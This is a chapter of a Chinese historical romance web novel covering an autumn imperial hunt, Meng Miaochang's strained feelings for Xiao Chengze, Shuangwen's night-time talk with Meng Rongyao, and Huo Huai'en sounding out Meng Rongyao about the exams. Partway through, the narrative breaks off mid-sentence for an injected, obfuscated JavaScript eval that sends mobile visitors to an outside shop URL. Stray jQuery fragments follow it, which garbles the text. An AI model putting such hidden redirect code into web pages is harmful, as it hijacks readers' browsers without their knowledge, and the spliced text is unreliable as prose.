孟妙常其实是准备听翡翠的话的，她决心不见萧承泽，就连去杨琼章那玩，也是知道萧承泽不会来才去的。
但人算不如天算，谁也没料到赵泓安会被灌醉了送回来。
孟妙常都惊讶，赵泓安这人从来最知轻重，怎么会喝得这样大醉？一般都是他照顾别人的。
杨琼章自然是先生一场气，一面道着“喝醉了送我这干什么？扔外面去好了”，一面其实已经把他放在帐篷的坐席上。孟妙常也帮着递了毯子，让丫鬟去煮醒酒汤，然后才问一同回来的人。她知道绍文绍武不聪明，问了也不中用，所以先问傅时晏：“他怎么喝了这么多？”
傅时晏有些不好意思地道：“我在外面宴席，并不清楚。”
孟妙常只得去问他身后面沉如水的定国公大人。
萧承泽其实看她和傅时晏那有问有答的样子就忍着气，看她又来问自己“他怎么喝的”，其实是很想说一句“傅时晏知道的多，你去问他好了”。但显得小气倒是小事，主要是这样一说，估计她肯定就走了。只得忍气吞声道：“卢家人发疯，一直惹我，赵泓安打圆场，就喝了很多。”
孟妙常心中一沉。
以前她也觉得，他在自己面前格外要面子，常常把大事也举重若轻地道出来。现在想想，其实也是自己自作多情……但他老是轻描淡写地说一些严重的事，确实是老毛病了。
她示意他跟自己去帐篷外面。也不知道他今天是怎么了，像是看不懂，孟妙常只得拉了拉他的衣袖，定国公大人这才移驾，很顺从地跟着她往外走。
两人走到帐篷外面，孟妙常才敢开口。
“听说今日官家让七皇子给将军们敬酒，是不是真的？”
就算是女眷，也知道这背后的象征意义。她听到的时候也心中一惊，为宜妃娘娘，也为他。夺嫡的事凶险无比，这可不是好兆头。
萧承泽一副“这也不算什么大事”的神情。
“官家常常是这样，想一出是一出。”他比霍怀恩还胆大，因为霍怀恩是当面说，他背着官家也敢说：“没什么大不了的。”
孟妙常本来还想再问几句，但想起他当初在马球场上对付卢家的手段，想必自己也帮不上什么忙，自嘲地笑了笑，说了句“那国公爷多保重”，转身就要走。
但她的手臂被拖住了。
她有点惊讶地看着萧承泽。这在他是从来没有的事，但萧承泽的神色颇有点理直气壮。
“你最近在躲着我。”他平静地问：“为什么？”
这问题问得孟妙常都只想苦笑：“还能是为什么？难道要说‘因为我不是你喜欢的人’吗？”
但她知道说了也没用，徒然自取其辱。她从小就知道世人要的不是清楚，说清楚也不会让不喜欢你的人变得喜欢你，不过是让自己死得更明白点。
“没事的。”她答非所问地告诉他：“你只是有点不习惯罢了，以后就好了。”
“我不是。”萧承泽皱起眉头：“不要替我说话。”
也许不问清楚是因为自己不敢。喜欢人是非常危险的事，对方皱个眉头自己就情绪起伏，何况问到山穷水尽呢？
“对不起。”孟妙常平静道歉：“因为你总是不说话，我才替你说话的，以后不会的。”
因为以后我们不会说话了。萧承泽几乎可以听见她心里的声音这样说。
他抓着孟妙常的手臂，却感觉自己什么也没有抓住。也许是因为她的神色，像是在自己和她之前筑了一堵墙，像他从来随身带着的剑，觉察不到它的存在，直到丢失的那天。
“是因为傅时晏吗？”他最终还是显得小气地问道。
但问了也没用，因为孟妙常笑了。她连笑容也是苦涩的，全然不似在傅时晏面前平静。
她说：“是因为你。”
-
孟容曜赴宴回来，其实没有喝多少。毕竟孟家如今是门可罗雀，也没什么人主动和他攀谈，除了赵泓安看在孟妙常的面子上和他喝了两杯罢了。
他睡到半夜被推醒了。
吓倒是没被吓到，但任谁半夜发现一个女孩子趴在自己床边，都会一头雾水的。
“你为什么说好？”霜纹趴在他床边问他。
”什么？”孟容曜睡眼惺忪，像是完全没听懂。
“白天我说你不准往下想，你为什么说好？”霜纹的眼睛在黑暗中更大，急切地瞪着他：“我回去想了又想，总觉得不对劲，睡也睡不着，所以回来问你了。我睡不着，你也不准睡。”
不怪她这样有恃无恐，孟容曜真的是好脾气。
“我说错了吗？”他顺从地问道。
霜纹还认真地思考了一下，她皱着眉头的样子实在太可爱了。怎么会是皮囊呢？黑暗里只有一点灯光如豆，只看得见她的轮廓，但孟容曜连这样子也觉得可爱。
“反正你不准说好。”霜纹蛮不讲理地道：“我可以说不准你往下想，但你不能答应，你得排除万难才行，戏里都是这样的，张生还翻墙呢，你不能连张生都不如吧？除非……”
她话锋一转，想到了原因。
“除非你就是想我做姨娘，被我说中了？”她扬起拳头道：“你觉得我没资格和你一生一世一双人，对不对？”
眼看霜纹的拳头已经预备好了。孟容曜觉还没彻底醒，人已经在挨打的边缘了。
如果翡翠在这，或者孟妙常在这，她们都能听得懂的。霜纹说的其实不是戏，是所有女孩子都懂的语言。就好像霍怀恩答错了，萧承泽也答错了。
翡翠说“只能吃一次的东西，我宁愿从来没吃过”的时候，霍大人不该接受。就好像孟妙常走的时候，萧承泽也不该接受。
喜欢不是这样子的。喜欢该是越过那句拒绝，就像张生翻过那堵墙，不是因为他擅长翻墙，不是因为翻过墙后有崔莺莺，而是因为他没有别的选择。
他一定要崔莺莺。除此之外，了无生趣。
女孩子要的是这个，是排除万难，是非她不可，是在衡量出成功几率之前就已经义无反顾地选择。霍怀恩不知道自己为什么挨打，就好像萧承泽不知道孟妙常为什么离开，其实是因为他们早就给出了自己的回答。
他们的接受，就是回答。
当然，人是活在现实中的。如果有千万个选择，就像霍大人和国公爷一样，谁会为一个选择执着呢？历史上真实的张生也一样在飞黄腾达后抛弃了莺莺小姐……
霜纹正是知道这一点，才如此紧张。但她有着谁都没有的勇敢，宁愿半夜出来把他摇醒，也一定要一个回答，并且决定对自己不满意的答案挥出重拳。
或者说，她敢追问本身，也是因为孟容曜是那个一定会给她回答的人。这世上哪有傻子在必赢的局面前放弃的？她们都知道自己会输，就像霜纹知道自己能赢。
而孟容曜给出的回答，也出乎霜纹的意料。
他无奈地笑了，也许是因为黑暗的缘故，他的神色有点陌生，但仍然很温柔。
他说：“不是你不好，是我没有资格。”
“为什么你没有资格？”霜纹执着地问。
“因为我母亲要我做一件事。”他告诉霜纹：“要做这件事的人，是没有资格喜欢任何的人。我甚至不应该告诉你我喜欢你，我觉得自己做了很坏的事。”
他说的话云遮雾绕，霜纹听不懂，但本能地觉得他说的是实话。
如果是实话的话，就没有对和不对。对与不对都是孟容曜，霜纹也没得选。
所以她认真问：“但她对你很坏，你还要去做吗？”
“我要去做。”孟容曜回答她：“但现在不是为了她了，是为了我自己。”
霜纹很坦荡地接受了一切，她当然知道那一定是个天大的坏消息，因为孟容曜其实是很能扛事的人，否则不会忍受那么多年的毒打还能做出学问来。
但她很勇敢，她什么都不怕。
她是很骄傲的霜纹，很多人喜欢她，她都感到冒犯生气。光是被喜欢而不生气这件事，其实就已经是她的回答。但孟容曜是很好的人，而且胆小，还老是吃醋，所以她决定回答得更明确一点。
于是她在黑暗中握住了孟容曜的手，告诉他：“我不觉得你做了很坏的事，只要是真的喜欢，就没有对不对。”
-
秋狩第二天，宜妃娘娘驾到。
这更加佐证了那个人人猜测的可能性，何况这天官家兴致这样高，让十三岁的七皇子也穿上猎装，跟在他身后，甚至在太子之前。至于宜妃娘娘，更是干脆随驾狩猎，穿着朱砂红的骑装，如风中烈火，看得官家眼睛都直了。
众人目光关注七皇子和宜妃娘娘，自然也偷偷关注萧承泽。但定国公还是老样子，用钓鱼的耐心在打猎，后面跟的随从马上都挂满了他的猎物。他在百忙中还有空帮射空了的宜妃娘娘补上一箭，顺便骑马过去说一句：“姑姑手生了。”
宜妃娘娘被他气得直笑：“我看你是想讨打了，阿璟。”
其实定国公这几天不高兴，有眼睛的人都看得出来。他平时冷着脸的时候就够危险了，这次更是把猎场像犁地一样地杀了个遍，连天上飞过的麻雀也不放过。所以另一个不高兴的霍大人这次就没有惹他，而是去惹了别人。
孟容曜今天的人缘好了点。
先是何家的嫡长子何绍元过来跟他攀谈了两句，然后是大张小张中的小张侍郎过来问了句文章，得到孟容曜的回答之后，摸着胡子走了。这时候孟容曜心中已经有所察觉了。等到午间，官家在望阳坡上扎营，大家就地野餐烤肉吃午饭时，霍怀恩也来了。
“孟公子怎么一个人在这吃饭？”他笑着道。
孟容曜坐的地方都是些落魄王孙，见到霍怀恩都如同见了凤凰一样，纷纷行礼。也有人很机灵地道：“孟兄来和我们一起吃吧。”
“不用不用，我已经吃完了。”孟容曜道：“多谢了。”
他知道霍怀恩在打量
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619785|205972||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他，只装不知道，站起身来，道：“霍大人要不要一起走走？”
霍怀恩就喜欢这样聪明的人，立刻赴约。两人沿着树林边缘往里走，孟容曜目光扫到韦思谦和另外几个人在他身后两侧散开来，估计是去戒备了，就知道霍怀恩是要说点不能让人听的话了。
但饶是状元之才，也猜不到霍怀恩的起手。
“吃不吃东西？”霍怀恩先拿出锦囊来告状：“挺好吃的，我花了不少功夫弄到的。但你们家翡翠不要，还给我扔了。”
孟容曜也答得很妙：“翡翠姐姐做事稳重，她要是扔了，自然有她的道理。”
霍怀恩一副“你们孟家人”果然如此的神色。
孟容曜是知道他的棋路的。真要论起来，甚至可能没几个人比他更清楚霍怀恩的棋路了。他和此刻秋狩龙旗大纛下穿黄袍的那位简直像极了，开场总是看起来东拉西扯十分日常，甚至带点烟火气，但不过是收买人心的手段罢了，下一句就是杀招。
果然霍怀恩就慢悠悠道：“那我就提前恭喜孟公子了，三元及第，是可以上达天听的。”
孟容曜其实并不意外，今天已经有端倪了。秋闱一般一个月之后放榜，但审卷其实也就十多天。今天和他套近乎的那几个人，何绍元的父亲何尚书和小张侍郎，都是这次秋闱阅卷的考官。他的文章他心中有数，看他们这反应，多半是中了解元了。
秋闱乡试出解元，是全省第一，春闱会试出会元，还有一个殿试出状元，三元及第，是读书人罕有的荣耀。也常当做恭喜的吉祥话说。但问题是，这是他去参加秋闱那天，孟大奶奶的原话。
捕雀处的名声，就算他身在书斋也有所耳闻，能探到官员内宅的对话也不是难事。
但他为什么要告诉自己呢？
霍怀恩不是来恭喜他的。他是来试探孟容曜的。
万言难当，不如一默。他没有父亲教导，所有的道理都是从书上学，这时候只是微笑着看着霍怀恩，并不说话，仿佛不明白他这句话是什么意思似的。
霍怀恩一看他这样子，就知道是个棘手的刺头。一般的官员看到他都发抖，骨头硬点的，稍微震吓一下也招了……
他哪知道孟容曜过去十几年挨过多少打呢？
所以他换了个方法，看着一边被虫蛀了的松树道：“挺好的树，怎么伤成这样了？”
“是啊。”孟容曜也淡淡道：“怎么就剩一条腿了。”
霍怀恩忍不住看了他一眼，两人都笑了。聪明人常见，这么聪明的人不常见，尤其是几乎能看穿他的棋路的。大概孟家人身上真有什么缘故，他总是想起翡翠。
“赵华翰昨天抬回去，命是保住了，但下半辈子应该是起不来了。”霍怀恩于是顺着他的话往下说：“你知道吗？其实捕雀处有个认痕迹的高手，能凭伤口的马蹄印认出是谁下的手。你猜，踩碎赵华翰腿骨的马是哪家的？”
“当时情形那么急，就算有人的马失控，踩了几脚也是常事吧？”孟容曜也平静看着他：“难道霍大人还要追究不成？”
霍怀恩又笑了。
“哪敢呢？”霍怀恩开玩笑道：“我哪敢追究解元的责任？”
孟容曜心眼倒是比翡翠大点，没有跟他计较他把赵华翰的事定论在自己身上的事，而是换了话题道：“解元一个省就有一个，我只不过刚好是京城的罢了，有什么了不起的？”
其实霍怀恩今天本来是想诈他的，说是恐吓也没错，没想到这人竟然出乎意料的厉害，倒也有趣。
既然是聪明人，那么就不用担心他听不听得懂的问题了。霍怀恩也只管和他玩文字游戏：“解元都看不上，那看来孟大少爷是真要三元及第了。”
三元及第，下一句就是上达天听。到这时候，其实他们的哑谜已经打到底了。所以孟容曜也不多说，只伸手摸了摸树皮，道：“霍大人陪我去一个地方吧。”
他身上有种矛盾的杂糅感，兼有穷书生的勤勉沉默，和世家子弟的贵气。霍怀恩后知后觉地想到，都说孟家完了，但那是因为中年一代最出色的两个都不在了，但年轻一代，却好像在这窘境中长出了各自的奇特形状，像从砖缝中生出的树，各有各的古怪，但又因为天赋异禀，而格外坚韧。
把太子当作仇人的柳无忧，写出了《秋水记》这种提都不能提的东西，半部书就引得霍怀恩出手，要是整本写完，后果简直不堪设想。孟容曜自不必说，一句三元及第、上达天听，霍怀恩就不得不来查清楚他的目的。还有孟妙常……还有翡翠。
仔细想来，也难怪翡翠说自己根子上坏，自己确实一直在对孟家的年轻一代干坏事。当然霍怀恩也有道理：食君之禄，忠君之事，号称天子门生的人，自然是要充当天子面前的第一道守卫的。
但见过柳无忧，又见过孟容曜，知晓他们反而是京中无论从智慧还是格局都更接近自己的人之后，霍怀恩心头也难免有这一闪念——他们的父亲当年，也是这样“责无旁贷”吗？